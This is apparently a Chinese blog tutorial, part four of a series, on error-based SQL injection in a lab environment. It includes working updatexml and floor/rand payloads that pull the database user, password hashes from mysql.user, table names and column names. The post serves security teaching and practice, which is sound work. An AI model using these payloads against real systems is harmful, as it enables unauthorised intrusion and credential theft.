web安全之SQL注入(四)

本文深入解析SQL报错注入原理,如何利用php的mysql_error函数获取数据库名、用户名、表名等敏感信息,并介绍常见报错函数的应用。注意,内容仅限学习,禁止非法使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

web安全之SQL注入(四)

报错注入

原理

一般是指程序开发时,提示一些错误信息便于测试人员调试,特别是php中执行SQL语句会采用异常处理函数,在php中使用mysql_error函数,当存在SQL注入时,同样也会返回报错信息,这样攻击者同样可以利用此原理来获取想要的敏感信息。
在进行报错注入检测时,同样我们会使用一个mysql没有的内置函数进行检测。

1' and info()-- &Submit=Submit#

这样我们就可以获取当前数据库名称。
在这里插入图片描述

代码分析

如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息 显示到页面上。
在这里插入图片描述

漏洞演示

通过内置函数来获取当前数据库用户名,同样我们也可以使用使用database(),version()来获取其余的敏感信息。

1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- &Submit=Submit#

在这里插入图片描述
我们使用updataxml这个报错函数,只会显示32长度的内容,如果获取的长度超过32,则需要采用字符串截取办法。
同样MySQL中还支持很多的报错函数。

floor()
extractvalue()
exp()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()

在报错注入中,可以获取MySQL账号和密码,但需要足够大的权限,例如root用户才能够获取。
这里因为长度大于32,所以需要使用截断方法,前获取前32位的,在获取后面的。

1' and (updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user
limit 1 )),0x7e),1))-- &Submit=Submit#
1' and (updatexml(1,concat(0x7e,(select (substring((select authentication_string from
mysql.user limit 1),32,40))),0x7e),1))-- &Submit=Submit#

在这里插入图片描述
在这里插入图片描述
同样可以利用报错注入来获取表名,字段名等等,但我们需要采用floor报错,这样就不用考虑长度问题。

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#

在这里插入图片描述
想要获取后面的表名,直接将LIMIT 0,1修改为1,1即可。
获取字段名

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全局变量Global

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值